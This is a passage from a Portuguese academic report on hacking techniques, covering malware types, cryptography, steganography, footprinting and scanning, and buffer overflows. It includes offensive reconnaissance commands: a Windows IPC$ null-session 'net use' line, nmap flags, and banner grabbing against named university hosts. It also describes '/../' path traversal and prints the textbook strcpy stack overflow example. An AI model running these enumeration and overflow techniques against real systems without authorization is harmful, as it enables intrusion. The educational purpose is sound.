Este tipo de vírus esconde-se na memória do computador da primeira vez que um

programa infectado é executado e em seguida infecta os ficheiros com extensão .EXE,

.COM, .OVL, .DLL, etc.

Vírus do sistema de ficheiros:

É um tipo de vírus que modifica a tabela interna do sistema operativo que controla os

ficheiros e pastas, de forma a ser carregado para memória e executado antes da

execução de cada programa. Os programas que são executados não são infectados.

Page 55: relatorio de projecto-Documentação teórica das técnicas de hacking

55

Vírus do sector de arranque:

Este vírus infecta a área do disco que é lida e executada quando o computador arranca

(boot sector).

Vírus de macros:

Uma macro é um programa que é utilizado para efectuar tarefas repetitivas. As macros

são executadas automaticamente se o ficheiro a que estão anexadas é aberto. Esta

funcionalidade é explorada para efectuar instruções malignas em vez de uma tarefa

normal.

Este tipo de vírus espalha-se muito rapidamente porque a maioria dos utilizadores de

computadores pensam que os ficheiros de dados são imunes a vírus.

Hoaxes:

São mensagens de e-mail que avisam o utilizador sobre vírus inexistentes com o

objectivo de assustar o utilizador e fazer com que este adquira determinado software

para se proteger, ou que reenvie o e-mail ao maior numero de pessoas de forma a

aumentar quantidade de tráfego na rede e aumentar a quantidade de lixo recebido no e-

mail, até agora o hoaxe mais conhecido era uma mensagem reencaminhada com o título

“Good Times”.

5.2 Worms

Os worms residem na memória do sistema e têm como objectivo reproduzir-se para

consumir todos os recursos do sistema onde se encontra e se estiver ligado em rede vai

tentar propagar-se também de forma a consumir a largura de banda disponível. Desta

forma, um worm tem a capacidade de infectar um sistema sem a intervenção do

utilizador. Um worm também é capaz de apagar ficheiros, enviar ficheiros para um

endereço e-mail, etc. dependendo da função para a qual é programado.

Um worm trabalha de forma automática e transparente para o utilizador a menos que o

objectivo seja que o utilizador se aperceba da sua presença.

Um worm ao contrário de um vírus normal não precisa de estar acoplado a um

programa, consegue existir e propagar-se sozinho.

Um exemplo de um worm muito conhecido é o “I LOVE YOU”, que infectou centenas

de computadores num curto espaço de tempo.

Page 56: relatorio de projecto-Documentação teórica das técnicas de hacking

56

Outro exemplo de worm é o W32.Pokemon.Worm. Este worm tem a capacidade de se

replicar por e-mail e apaga ficheiros depois de instalado do sistema da vítima.

Alguns worms possuem um payload que na maioria dos casos consiste numa backdoor

para que mais tarde a sua presença no sistema possa ser explorada.

O método mais eficaz de detecção e remoção deste tipo de malware é através do uso de

antivírus actualizado.

Page 57: relatorio de projecto-Documentação teórica das técnicas de hacking

57

6 Segurança e confidencialidade de

dados

6.1 Criptografia

A criptografia foi criada para garantir a confidencialidade da informação.

A criptografia é um ramo da matemática que estuda métodos para cifrar os dados e que

sejam difíceis de reverter sem o conhecimento da chave utilizada, o processo de

reversão da chave não é impossível mas o poder computacional necessário para isso, no

período de tempo que a informação se tem de manter secreta é tão elevado que torna a

tarefa impraticável.

Os algoritmos utilizados nos métodos criptográficos são públicos e a segurança da sua

utilização baseia-se nas chaves utilizadas.

Os sistemas criptográficos são classificados quanto ao tipo de operações usadas no

processo de cifrar as mensagens, que podem ser por substituição (os elementos da

mensagem são transformados noutros), por transposição (os elementos da mensagem

mudam de posição dentro desta) ou mistos (com transposição e substituição), são

classificados quanto ao numero de chaves usadas, neste caso existem sistemas de

criptográficos simétricos (em que é usada apenas uma chave, este processo também é

chamado de criptografia de chave única, chave secreta ou convencional) e sistemas

criptográficos assimétricos (em que são usadas duas chaves, este processo também é

chamado de criptografia de chave pública ou duas chaves). Os sistemas criptográficos

são ainda classificados pela forma como as mensagens são cifradas, que pode ser em

Blocos (operam sobre blocos de bits) ou stream (operam sobre um único bit ou byte).

Se o sistema criptográfico usado for muito fraco como os baseados em XOR, Base64 ou

Uuencode os dados podem ser decifrados muito facilmente por um atacante recorrendo

a ferramentas muito simples ou pode decifrar estes dados on-line, por exemplo na

página www.yellowpipe.com/yis/tools/encrypter/index.php.

Page 58: relatorio de projecto-Documentação teórica das técnicas de hacking

58

Existem muitas soluções para cifrar informação quando esta se encontra nas várias

camadas do modelo OSI. Em seguida, estão apresentadas as mais usadas para dar uma

ideia do que é usado:

Secure MIME (S/MIME), que adiciona a um e-mail a assinatura digital do

emissor e cifra a mensagem com a chave pública do mesmo.

PGP (Pretty Good Privacy), que usa uma rede de segurança, ou seja o utilizador

tem de indicar em quem confia para usar a chave pública de quem diz confiar.

Esta solução utiliza dois ficheiros, um que se chama pubring.pkr que o utilizador

partilha e que contem a sua chave pública e o ficheiro secring.skr que contem a

chave privada e que o utilizador tem de manter secreta para que a sua identidade

não seja comprometida.

Secure Shell (SSH), é um protocolo que permite estabelecer ligações remotas

seguras porque negoceia e estabelece uma ligação cifrada entre os dois sistemas.

Secure Sokets Layer (SSL), foi criado pela Netscape e permite cifrar as ligações,

garantir a identidade do cliente e do servidor, é usado pelos protocolos FTP,

HTTP e Telnet para enviar os dados transmitidos por este.

IpSec, é um mecanismo da camada de transporte que permite garantir a

confidencialidade e a integridade dos dados e ainda fornece a autenticação dos

intervenientes na comunicação.

Encrypted File System (EFS), da Microsoft permite aos utilizadores do sistema

operativo Windows que utilizam o sistema de ficheiros NTFS cifrar os ficheiros,

pastas e directorias que se encontram no disco.

6.1.1 Criptografia simétrica

A criptografia simétrica é a mais usada e utiliza a mesma chave para cifrar e decifrar a

mensagem enviada. A chave tem de ser acordada entre o receptor e emissor e tem de ser

trocada por um canal seguro senão um atacante pode interceptar a sua transmissão e ser

capaz de receber decifrar as mensagens trocadas. Este tipo de criptografia pode ser

aplicada a em bloco ou stream.

Este tipo de criptografia é usado em algoritmos como o IDEA (International Data

Encryption Algorithm), DES, A5, etc.

Este tipo de criptografia pode ser explicada pelo seguinte esquema:

Page 59: relatorio de projecto-Documentação teórica das técnicas de hacking

59

Imagem 25 – Esquema de comunicação com cifra simétrica

1. Plaintext: O emissor escolhe o documento a enviar;

2. Encription: O documento é cifrado com recurso a chave escolhida;

3. Ciphertext: O documento cifrado é transmitido para o receptor;

4. Decription: O documento cifrado é decifrado com a chave escolhida

previamente;

5. Plaintext: O documento é apresentado ao receptor, se a chave usada for a

correcta o texto é apresentado correctamente;

As vantagens da utilização deste tipo de criptografia são: não é pesada

computacionalmente e consegue ser implementada facilmente por hardware.

Como desvantagem apresenta a dificuldade de distribuir a chave e a quantidade de

chaves necessárias (é necessária uma chave para cada comunicação).

O problema de distribuição da chave é muito grave pois, se esta for transmitida por um

canal que não seja seguro o atacante pode interceptar a chave ou pode adquirir a chave

recorrendo á engenharia social, o que vai fazer com que consiga ver o texto decifrado

assim como o verdadeiro destinatário, o que torna o processo de envio da informação

cifrada inútil.

6.1.2 Criptografia assimétrica

Este tipo de criptografia utiliza duas chaves. Uma das chaves utilizadas é chamada de

chave pública que é conhecida por todos e a outra chave é a chave privada que é

Page 60: relatorio de projecto-Documentação teórica das técnicas de hacking

60

mantida em segredo pelo dono. As duas chaves estão relacionadas matematicamente

mas não é possível descobrir a chave privada através da chave pública.

Este tipo de criptografia garante a integridade das mensagens, a sua confidencialidade e

a garantia de que o emissor é quem diz ser e não pode negar a sua identidade.

A segurança da comunicação depende da segurança com que a chave privada é

guardada, uma vez que existe a possibilidade de um atacante conseguir acesso à chave

através de algum tipo de engenharia social ou se o emissor for descuidado e deixar a

chave privada de maneira a que o atacante lhe consiga aceder.

A transmissão é cifrada para ambos os lados, se a mensagem for cifrada com a chave

pública apenas pode ser decifrada com a chave privada e se a mensagem for cifrada com

a chave privada apenas pode ser decifrada com a chave pública.

Esquema do envio de informação para o detentor da chave privada:

Imagem 26 – esquema de comunicação com cifra assimétrica

Neste caso a mensagem é cifrada com a chave pública e apenas o detentor da chave

privada pode ler a mensagem, o que garante a confidencialidade da recepção da

mensagem.

Esquema do envio de informação pelo detentor da chave privada:

Page 61: relatorio de projecto-Documentação teórica das técnicas de hacking

61

Imagem 27 – esquema de comunicação com cifra assimétrica

A mensagem é cifrada com a chave privada o que permite a qualquer utilizador com a

chave pública ler o seu conteúdo mas faz com que seja garantida a identidade do

emissor, por esta razão este tipo de criptografia é usada nas assinaturas digitais.

Este tipo de criptografia é usado em algoritmos como o RSA, Diffie-Hellman, etc.

6.1.3 Funções de Hash ou resumo da mensagem

Existem vários algoritmos para este tipo de funções como MD5, SHA-1, Tiger, etc.

O objectivos de uma função de Hash é transformar os dados que se pretende transmitir e

que tem tamanho variável em dados com tamanho fixo para que sejam enviados e se

consiga garantir que os dados não foram alterados. Uma boa função de hash tem de ser

unidireccional e não pode permitir que duas entradas diferentes resultem num valor de

saída igual.

Exemplo de como funciona uma função de hash:

Page 62: relatorio de projecto-Documentação teórica das técnicas de hacking

62

Imagem 28 – Esquema da aplicação de uma função de hash

A função de hash garante a integridade da mensagem, porque quando o emissor

pretende transmitir a mensagem é calculado o valor de hash da mensagem. Este é

adicionado à mensagem e quando o receptor recebe a mensagem calcula o valor de hash

e vai compará-lo com o valor que recebeu, e se forem iguais é garantido que a

mensagem não foi interceptada.

O valor que é calculado é chamado de MAC (Message Authentication Code) e no caso

de ser igual nos dois extremos da comunicação é garantida a integridade da mensagem e

a autenticidade do emissor.

6.1.4 Assinatura digital

O processo de utilizar criptografia assimétrica para autenticar um emissor é chamado de

assinatura digital.

Uma assinatura digital tem de permitir que o receptor possa confirmar a assinatura do

emissor (autenticidade do emissor), tem de garantir que não seja falsificável

(integridade) e tem de garantir que o emissor não nega a sua autenticidade (não

repudio).

A assinatura digital consiste em aplicar uma função de hash à assinatura escolhida, e em

seguida cifrar o valor de hash devolvido com um algoritmo assimétrico. O emissor tem

de cifrar as mensagens com a sua chave privada para confirmar a sua identidade

(assinatura).

O processo para utilizar uma assinatura digital tem então o seguinte esquema:

Page 63: relatorio de projecto-Documentação teórica das técnicas de hacking

63

Imagem 29 – funcionamento da assinatura digital

1. Signinsg: o emissor cria o resumo da mensagem pela aplicação de uma função

de hash;

2. Private Key: o emissor cifra o resumo da mensagem com a sua chave privada;

3. Sending: a mensagem é enviada para o receptor juntamente com o resumo da

mensagem;

4. Decrypting o receptor cria o resumo da mensagem com a mesma função que o

emissor usou e em seguida decifra o resumo da mensagem com a chave pública

do emissor;

5. Receiving: o receptor compara o valor devolvido pela sua função com o valor

enviado na mensagem, se os valores coincidirem o receptor tem a certeza que a

mensagem não foi alterada e que veio realmente do emissor.

6.1.5 Certificados digitais

Os certificados digitais são usados para comprovar a identidade de uma pessoa, estes

são usados porque quando se usa criptografia assimétrica o receptor vai ter

conhecimento da chave pública do emissor, mas apenas pode comprovar a identidade do

emissor se este for conhecido do receptor, no caso de não conhecer nada impede um

atacante de disponibilizar uma chave pública e a identidade de outra pessoa para se

Page 64: relatorio de projecto-Documentação teórica das técnicas de hacking

64

fazer passar por essa pessoa e neste caso apenas o atacante ia ter acesso aos dados

transmitidos, porque apenas ele tinha a chave privada para decifrar os dados.

O certificado digital funciona como um passaporte e é emitido por empresas privadas e

serve então para garantir a identidade da pessoa que usa o certificado, assim é garantido

ao receptor que a pessoa que enviou dados é realmente quem diz ser e que a chave

usada pertence a essa pessoa e não a uma terceira.

Imagem 30 – Alguma da informação do certificado Digital da página

“www.mail2web.com”.

6.2 Estenografia

Estenografia consiste na escrita secreta, ou seja consiste em esconder mensagens em

espaços em branco no texto, ficheiros de som e imagens.

Estenografia é geralmente usada em conjunto com a cifra de mensagens, quando isto

ocorre a mensagem é cifrada e em seguida inserida num documento, para que no caso

de ser descoberto o ficheiro que transporta a mensagem esta não seja legível por se

encontrar cifrada.

A mensagem que se pretende inserir no documento é inserida com recurso a ferramentas

apropriadas, como por exemplo Steganography, Snow Snow, StegonoWav, MP3Stego,

S-Tools, etc.

Page 65: relatorio de projecto-Documentação teórica das técnicas de hacking

65

Imagem 31 – Programa Steganography que possui a funcionalidade de

estenografar dados.

É sempre necessário ter em conta o tamanho do portador e da mensagem, uma vez que

para que seja difícil detectar a presença da mensagem é necessário que a mensagem seja

muito mais pequena que o tamanho do ficheiro portador.

A estenografia é usada comercialmente e conhecida como “Digital Watermark”, ou

seja, funciona como a impressão digital do ficheiro para garantir a identidade do autor,

do dono, a integridade do ficheiro, etc.

Existem páginas que permitem esconder informação dentro de um e-mail, uma dessas

páginas é a http://www.spammimic.com que esconde informação em ficheiros de SPAM.

Um atacante que consiga invadir um sistema pode usar o Estenografia para fazer upload

e download de ficheiros para o sistema atacado. Se o atacante utilizar este método

apesar de não poder movimentar grandes quantidades de informação consegue

certamente movimentar informação necessária para efectuar outros ataques.

Page 66: relatorio de projecto-Documentação teórica das técnicas de hacking

66

6.3 Ataques a algoritmos criptográficos

Apesar do uso da criptografia as comunicações e os dados continuam a não estar

seguros porque, pelo que se pode ver de seguida, muitas das soluções criptográficas

apresentadas contem falhas que permitem a um atacante aceder à informação.

Ataques Man-in-the-middle :

Este tipo de ataque pode ocorrer em sistemas que usam o sistema criptográfico

simétrico double DES e o sistema assimétrico Diffie-Hellman (neste sistema pode

acontecer se não forem usadas assinaturas digitais para autenticar o emissor e receptor).

Ataques de força bruta:

Um atacante pode tentar descobrir a chave de encriptação por tentativa e erro, ou seja

experimentando todas as combinações possíveis para descobrir a chave.

Já foi possível com os algoritmos DES e ECC mas foi necessário um sistema distribuído

com vários milhares de computadores para o conseguir. Assim sendo, um atacante que

tente o mesmo feito no seu sistema necessita de várias centenas ou milhares de anos

para conseguir descobrir uma chave.

Se uma atacante conseguir aceder a uma parte da mensagem decifrada e cifrada pode

tentar comparar as duas partes para tentar encontrar a chave utilizada na cifra para em

seguida ver o resto da mensagem.

Um atacante pode tentar descobrir qual o tamanho da chave usada na cifra, caso seja

usado um algoritmo assimétrico, através da análise do tempo que o sistema receptor

demora a decifrar a mensagem. Este ataque tem em conta que a operação para decifrar o

texto varia muito dependendo do tamanho da chave usada.

Ataque à identidade na criptografia assimétrica:

Quando é usada criptografia assimétrica para a troca de dados mas não são usados

certificados digitais um atacante pode enviar os dados com a sua chave pública e

assumir a identidade de outro, o que vai fazer com que quando o receptor responda

envie os dados cifrados com a chave pública do atacante o que vai fazer com que apenas

este tenha acesso aos dados decifrados.

Quando se usa PGP este tipo de ataque também é possível pois o atacante pode

conseguir aceder ao ficheiro com a chave privada da vítima e fazer-se passar por esta.

Explorar Falhas no sistema de criptografia EFS:

Page 67: relatorio de projecto-Documentação teórica das técnicas de hacking

67

Este sistema permite que um atacante consiga aceder aos dados cifrados sem recorrer a

nenhum processo para descobrir a chave que foi usada para cifrar os dados. A falha

consiste numa backdoor para recuperar os dados no caso da perda da chave. Se uma

atacante conseguir aceder à backdoor consegue aceder directamente aos dados

decifrados. A backdoor consiste na existência do utilizador “recovery agent” que no

caso do Windows 2000 era por defeito o administrador de sistema e no Windows 2003 o

utilizador definido como “recovery agent”.

Além desta falha ainda é possível aceder a dados que tenham sido cifrados, caso os

dados sejam cifrados numa pasta que não se encontre cifrada. Nesta situação o ficheiro

não é cifrado automaticamente. Primeiro o ficheiro é movido para a directoria

temporária onde é renomeado para “efs0.tmp”, em seguida os dados deste ficheiro

temporário são cifrados e movidos para o ficheiro original. Por fim o ficheiro

temporário é eliminado pelo processo normal de eliminação de ficheiros. Depois do

ficheiro eliminado o espaço que ele ocupava passa a estar disponível no disco mas, se

este espaço não for completamente limpo ou não forem escritos dados na mesma

posição é possível a um atacante utilizar um editor como o Diskprobe e procurar pelo

ficheiro e aceder aos dados que ainda não foram sobrepostos. Esta falha apenas ocorre

quando se cifra um ficheiro que não se encontra numa pasta cifrada.

Page 68: relatorio de projecto-Documentação teórica das técnicas de hacking

68

7 Footprinting e Scanning

Quando um hacker pretende atacar uma rede tem de saber o que é que vai encontrar

pelo caminho para não ser apanhado de surpresa. O processo pelo qual o hacker passa

para conseguir adquirir informação é chamado de Footprinting e Scanning.

Assim footprinting é o nome que se dá ao processo de recolha de informação, este

processo pode ser activo ou passivo. Este processo é considerado passivo se o hacker no

processo de adquirir informação utilizar por exemplo apenas o website e é considerado

activo quando o atacante interage com o sistema usando por exemplo engenharia social

para conseguir informação. Scanning também faz parte do processo de recolha de

informação mas abrange a detecção de máquinas na rede, a topologia da rede e a

detecção das portas abertas em cada uma das máquinas detectadas na rede.

No processo de recolha de informação o atacante tem de recolher:

A informação que se encontra disponível ao público sobre o alvo e a informação

que o atacante adquire sobre a organização é vital para poder continuar o ataque.

Ele pode adquirir informação sobre a organização que pretende atacar no

website da vítima, em documentos fornecidos pela organização, perguntando a

empregados (recorrendo a engenharia social), etc. O atacante nesta fase tenta

adquirir o máximo de informação disponível como o e-mail dos membros e os

endereços IP públicos usados pela organização, qual o equipamento de rede

usado, etc. Para adquirir este tipo de informação é muito útil recorrer a motores

de pesquisa como o google, hi5, orkut, yahoo maps ou google maps, e a

ferramentas como Sam Spade, ARIN, IANA, Whois, Nslookup, etc.

Page 69: relatorio de projecto-Documentação teórica das técnicas de hacking

69

Imagem 32 – Printscreen do nível de detalhe apresentado numa pesquisa no

google maps. É possível obter uma imagem nítida de um edifício.

Imagem 33 – Printscren de uma ferramenta que permite efectuar consulta

para saber informação de domínios web.

Page 70: relatorio de projecto-Documentação teórica das técnicas de hacking

70

A informação sobre a rede/sub redes do alvo. Um atacante depois de conseguir

juntar informação sobre a vítima e depois de obter pelo menos um endereço IP

de um servidor, tem a possibilidade de fazer uma pesquisa numa das bases de

dados RIR para obter a gama de endereços usada pela organização atacada. Para

descobrir qual o caminho que a informação faz na rede (interna ou até chegar a

rede da vítima) pode usar o comando traceroute (se este comando estiver a ser

usado no Windows é usado o protocolo ICMP para fazer a analise de caminho e

se estiver a ser usado em Linux é usado o protocolo UDP para fazer a analise):

Imagem 34 – listagem dos saltos ate atingir o endereço IP pretendido

Existem aplicações muito diferentes para fornecer o traceroute. Algumas delas

como o visualtrace ou o neotrace que fornecem mapas para devolver os nós por

onde a informação passa (esta informação apenas é correcta se os router’s

estiverem configurados correctamente).

Page 71: relatorio de projecto-Documentação teórica das técnicas de hacking

71

Imagem 35 – Printscreen da aplicação neoTrace com a localização

geográfica do servidor da cnn.

Identificar os pontos de acesso a rede. Antes de tentar entrar imediatamente na

rede da empresa pela ligação à Internet o atacante pode antes tentar encontrar

pontos de acesso wireless ou sistemas que se liguem a rede da empresa através

de ligação telefónica porque, estas duas ligações estão muito mais vulneráveis e

geralmente não são tão vigiadas.

Identificar os computadores ligados à rede e as portas que estes tenham abertas.

Para identificar os computadores que se encontram ligados à rede e as portas

abertas, são usadas ferramentas para percorrer todos os endereços de rede da

organização e para percorrer todas ou apenas algumas portas nos sistemas

activos da rede para detectar quais as portas que estão abertas. Para este efeito

são usadas ferramentas baseadas no protocolo TCP e UDP, mas o protocolo

UDP não é muito útil para esta tarefa porque só devolve resultados se for

permitido tráfego ICMP. Para efectuar a pesquisa são usadas ferramentas como

o Ping, nmap, Pinger, Angry IP Scanner, etc.

Page 72: relatorio de projecto-Documentação teórica das técnicas de hacking

72

Imagem 36 – Printscreen da janela de resultados devolvida pelo Superscan

4 quando verifica os computadores ligados á rede e as portas abertas nestes.

Identificar os sistemas operativos dos computadores ligados à rede. Nesta fase o

atacante tenta descobrir qual o sistema operativo que corre em cada um dos

sistemas detectados, entre router’s e computadores. Este tipo de operação pode

ser feito de duas maneiras, activamente ou passivamente (sniffing). Se for feita

activamente são usadas ferramentas que injectam pacotes na rede para depois

analisar o pacote que o sistema receptor enviar como resposta, visto que a

maioria dos sistemas operativos são configurados para responder de maneira

diferente quando recebem pacotes mal configurados. A identificação do sistema

operativo passivamente consiste então em deixar uma ferramenta que apenas

analisa o tráfego que passa na rede e através da análise dos pacotes detecta qual

o sistema operativo que está a ser usado. Para esta tarefa pode ser usado por

exemplo o programa P0f. No caso da identificação activa existem programas

como Xprobe2, Winfingerprint, Amap, etc. Se a identificação for feita de modo

passivo é baseada em características dos pacotes como o tamanho do TTL nos

pacotes IP, como está implementado o TOS nos pacotes IP, etc.Se a

identificação for feita de modo activo vai basear-se por exemplo na resposta do

Page 73: relatorio de projecto-Documentação teórica das técnicas de hacking

73

sistema operativo a pacotes TCP com a flag FIN activa, a resposta a um pacote

com a flag com um valor inválido, no valor “Inicial Sequence Number (ISN)”

que é usado no pacote, etc.

Imagem 37 – Janela de configuração e apresentação de resultados da

aplicação Winfingerprint.

Identificar os serviços a correr na rede. O atacante para começar a identificar os

serviços que se encontram activos pode tentar efectuar uma ligação ás aplicações

mais conhecidas e que tem portas por omissão como Telnet, FTP, etc. porque

além de serem aplicações que este pode tentar explorar para atacar o sistema são

aplicações que devolvem muita informação sobre o este. Por outro lado a

informação que as aplicações fornecem podem enganar o atacante porque

podem ter sido fabricadas pelo responsável pela aplicação por exemplo, o

servidor de e-mail pode ser configurado para devolver como numero da versão

Page 74: relatorio de projecto-Documentação teórica das técnicas de hacking

74

uma mais antiga para o atacante pensar que está vulnerável a determinados

ataques quando na verdade o servidor já se encontra protegido.

Fazer o mapa da rede. O mapa da rede é desenvolvido á medida que o atacante

vai adquirindo informação. Para que o atacante tenha sucesso é necessário que

este mapa final esteja o mais completo possível para que não tenha surpresas.

Se o atacante pretender obter informação sobre os computadores que tenham sistema

operativo Windows pode faze-lo recorrendo a ferramentas que vêm incluídas no

Windows como o comando “net” (“net view / domain”, para ver os domínios da rede,

“net view \\ip”, para saber quais as pastas partilhadas num computador, etc.).

Imagem 38 – Listagem das pastas partilhadas da máquina

192.168.246.30

Recorrendo a este comando é possível saber qual a topologia da rede, saber quais os

computadores que estão ligados à rede, saber quais as contas existentes num

computador e saber pormenores das contas que são obtidos estabelecendo uma sessão

nula explorando o IPC$ com o comando net (net use \\alvo\ipc$ “” /u:””) usando em

seguida as ferramentas user2sid e sid2User)).

Page 75: relatorio de projecto-Documentação teórica das técnicas de hacking

75

Imagem 39 – Ligação remota a um computador.

Em vez disto também é possível utilizar uma aplicação com interface gráfico como a

“DumpSec”. Existem muito mais ferramentas para adquirir informação de sistemas

operativos Windows ligados a rede, entre elas Userinfo, 4GetAcct, GetUserInfo, Ldp,

nbtstat, SNMPUtil, IP Network Browser, SNScan, etc.

Se o atacante pretender obter informação sobre computadores baseados em Unix/Linux

pode utilizar ferramentas com Finger, rwho, rusers, e Simple Mail Transfer Protocol

(SMTP) e da mesma maneira que no Windows existem portas que identificam se este

sistema está a correr, também existem portas especificas que se estiverem abertas

significa que o Linux está em execução.

A fuga de informação de aplicações e protocolos permite ao atacante adquirir

informação essencial para executar um ataque. A fuga de informação pode permitir ao

atacante saber que programas e que versão estão a ser executadas, saber qual o sistema

operativo, saber a topologia da rede em que o sistema se encontra inserido, etc. Quanto

mais informação o atacante adquirir mais simples se torna para ele atacar o sistema.

Na maioria das situações em que o atacante consegue adquirir informação passivamente

esta pode ser retirada das aplicações que ele explora, ou então pode ser adulterada para

o enganar.

Fuga de informação numa aplicação

Este tipo de fuga de informação é muito comum em aplicação que usem os protocolos

FTP (File Transfer Protocol), SSH (Secure Shell), telnet, SMTP (Simple Mail Transfer

Protocol) e POP3 (Post Office Protocol 3) uma vez que por defeito quando se efectua

uma ligação é apresentada a versão da aplicação que está a correr, o que permite a um

atacante escolher um exploit para atacar a versão especifica que se encontra instalada.

Page 76: relatorio de projecto-Documentação teórica das técnicas de hacking

76

Este problema também se encontra nos servidores web se for deixada a configuração

por defeito, porque estes apresentam a informação da versão quando ocorre uma

excepção por exemplo, quando é feito um pedido de uma página que não existe no

servidor.

Exemplo de uma mensagem de erro devolvida pelo browser:

Imagem 40 – Printscreen a mostrar a informação devolvida pelo browser

Exemplo de uma ligação ao servidor de e-mail com o comando telnet

webmail.student.estg.ipleiria.pt 25:

Imagem 41 – Printscreen de uma ligação Telnet ao servidor de e-mail.

Fuga de informação nos protocolos

Este tipo de fuga de informação ocorre quando se usa comandos do protocolo para obter

informação sobre o sistema.

Por exemplo, depois de efectuarmos uma ligação á porta 80 de um servidor web

podemos obter a informação do servidor que está a correr.

Page 77: relatorio de projecto-Documentação teórica das técnicas de hacking

77

Por exemplo se fizer a ligação: telnet www.dei.estg.ipleiria.pt 80, e em seguida escrever

“HEAD / HTTP/1.0 ” vai ser apresentada a informação que pertence ao protocolo

HTTP, como se vê em seguida:

Imagem 42- Informação da versão do Web server

Se o atacante utilizar ferramentas como o nmap tem a possibilidade de descobrir todas

as portas que estão abertas e qual o sistema operativo do sistema que está a explorar,

isto se forem usadas as flags –sS (para usar o protocolo TCP para saber que portas estão

abertas) e –O (para saber qual o sistema operativo pela analise dos pacotes TCP).

Exemplo:

Imagem 43 – Uso do comando Nmap para descobrir a versão do sistema

operativo

Fuga de informação pelo design

Page 78: relatorio de projecto-Documentação teórica das técnicas de hacking

78

Este tipo de fuga de informação consiste na maneira como certas aplicações trabalham

pois contem na sua implementação informação que permitem a um atacante usar para

atacar um sistema. Algumas aplicações são desenhadas para enviar os dados em formato

texto pela rede. Outras têm um método de autenticação muito fácil de passar o que

permite a um atacante usar essas aplicações a seu favor.

Um exemplo deste tipo de fuga de informação é todas as aplicações que se baseiam no

protocolo SNMP (Simple Network Management Protocol) pois, as aplicações que usam

este protocolo comunicam entre si enviando a informação em formato texto.

Fuga de informação nos servidores Web

A fuga de informação nos servidores web pode ser muito grave porque além do tipo de

fuga descrito anteriormente que consistia em apresentar a informação do sistema pode

ter outra muito mais grave que consiste em apresentar a informação que se encontra

armazenada no servidor que está a ser atacado através da manipulação das páginas

alojadas no servidor se estas páginas contiverem script’s php, javascript, CGI, etc.

Um ataque muito efectuado contra servidores web consistia em inserir “/../”, para

retroceder na estrutura de pastas e conseguir aceder á informação que se encontrava em

disco.

Page 79: relatorio de projecto-Documentação teórica das técnicas de hacking

79

8 Buffer Overflow

Buffer overflow é a causa do sucesso da maioria dos ataques a sistemas.

A maneira como funciona e pode ser explorado foi explicada no artigo de Aleph One na

Phrack em 1996.

Buffer overflow ocorre quando se pretende colocar mais informação num sitio do que a

capacidade. Por exemplo se tivermos uma garrafa de 20cl e tentarmos colocar 21 cl

dentro dela, um cl vai transbordar da garrafa e perder-se. Num programa o que acontece

é semelhante mas em vez de se perder a informação colocada a mais, esta vai sobrepor-

se a outra, o que pode ter consequências muito graves.

A maioria das vulnerabilidades existentes tem origem em buffer overflow‘s, gerados por

aplicações que não fazem uma validação correcta do input, e podem ser exploradas

tanto local como remotamente.

Para conseguir manipular um buffer overflow é necessário saber como as funções

utilizam a pilha, saber fazer código em assembly, saber como são realizadas chamadas

ao sistema, saber como a pilha funciona ou saber usar uma ferramenta feita por alguém

que perceba.

As maiores dificuldades para manipular um buffer overflow é fazer código que não

inclua o carácter terminador “\0” e conseguir fazer com que os dados inseridos não

façam com que a aplicação bloqueie.

Geralmente o objectivo do atacante é conseguir efectuar um buffer overflow que permita

injectar código (payload) na aplicação atacada para conseguir lançar uma shell. Se o

atacante tiver sucesso vai conseguir aceder ao computador afectado com o mesmo nível

de privilégios que a aplicação que usou para lançar a shell estava a correr.

8.1 Tipos de Buffer overflow

8.1.1 Stack overflows

Este tipo de buffer overflow explora a falha de protecção na pilha de uma aplicação.

Page 80: relatorio de projecto-Documentação teórica das técnicas de hacking

80

Para tentar encontrar uma falha numa aplicação o atacante pode analisar o código fonte

desta, se ele se encontrar disponível, tentar inserir valores de entrada diferentes ou então

procurar na Internet informação sobre falhas na aplicação.

Depois de encontrar uma falha na aplicação o atacante tenta então de alguma forma

manipular os dados presentes na pilha de forma a fazer com que a aplicação salte para a

posição do código que ele pretende que seja executado. Este código que o atacante quer

que seja executado pode ser código que já se encontra na aplicação e apenas tem de

fazer com que a aplicação salte para essa posição para o chamar. Neste caso o atacante

tem primeiro de encontrar um ponteiro para uma função no código e em seguida alterar

o valor desse ponteiro para o passar a apontar para a função ou código que pretende.

Pode ser código que o atacante inseriu na pilha e nesse caso além de fazer com que a

aplicação salte para a posição onde se encontre esse código o atacante ainda tem de

conseguir inserir esse código no buffer. Neste segundo caso o código injectado tem de

ser muito pequeno porque o espaço na pilha é muito limitado. Geralmente o código que

se pretende correr é o de uma Shell para se conseguir executar comandos na máquina

atacada com o mesmo nível de privilégios que a aplicação explorada. Se a aplicação

estiver a correr como root o atacante terá esse nível de privilégios.

Uma pilha é uma área na memória de um computador que tem uma origem estática e

um tamanho variável, que inicialmente é zero. Existem duas operações que são

aplicadas a pilha que são:

- Push que consiste em colocar mais um elemento na pilha e actualizar a posição do

ponteiro da pilha;

- Pop ou Pull, que consiste em retirar o ultimo elemento da pilha e actualizar a posição

do ponteiro da pilha;

A pilha é um mecanismo usado para passar os valores dos argumentos para as funções

que são chamadas e para guardar as variáveis locais das funções e a posição de onde a

execução veio para saber para onde tem de saltar depois de terminar a execução da

função onde se encontra. A pilha funciona basicamente como um buffer para guardar a

informação que é passada para uma função e as variáveis da função. Tipicamente as

pilhas no processador Intel x86 são invertidas, ou seja, o topo da pilha está no endereço

mais baixo de memória.

A pilha tem um funcionamento do tipo LIFO (last in first out):

Page 81: relatorio de projecto-Documentação teórica das técnicas de hacking

81

Imagem 44 – Representação de uma estrutura LIFO

Imagem 45 – representação da pilha de um processo.

Se tivermos a função:

Page 82: relatorio de projecto-Documentação teórica das técnicas de hacking

82

Caso a string apontada por “s” tiver 264 bytes a função strcpy não verifica o tamanho

do vector e vai colocar toda a informação em “buf” o que vai fazer com que os últimos

oito caracteres de “s” se sobreponham aos valores que estão na posição do frame

pointer e no endereço de retorno.

Em seguida apresentamos um exemplo de um buffer overflow retirado do livro

“Smashing The Stack For Fun And Profit”:

Neste exemplo podemos ver a ocorrência de um buffer overflow onde usamos a função

strcpy() para copiar o conteúdo de *str (larger_string[]) para a variável buffer[]. A

variável buffer[] é muito mais pequena que *str ( buffer[] tem 16 bytes e *str 256

bytes), o que vai fazer com que os 250 bytes seguintes sejam sobrepostos, sobrepondo

neste caso toda a informação que se encontra na pilha.

/* example2.c

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = 'A';

function(large_string);

}

/* -eof- */
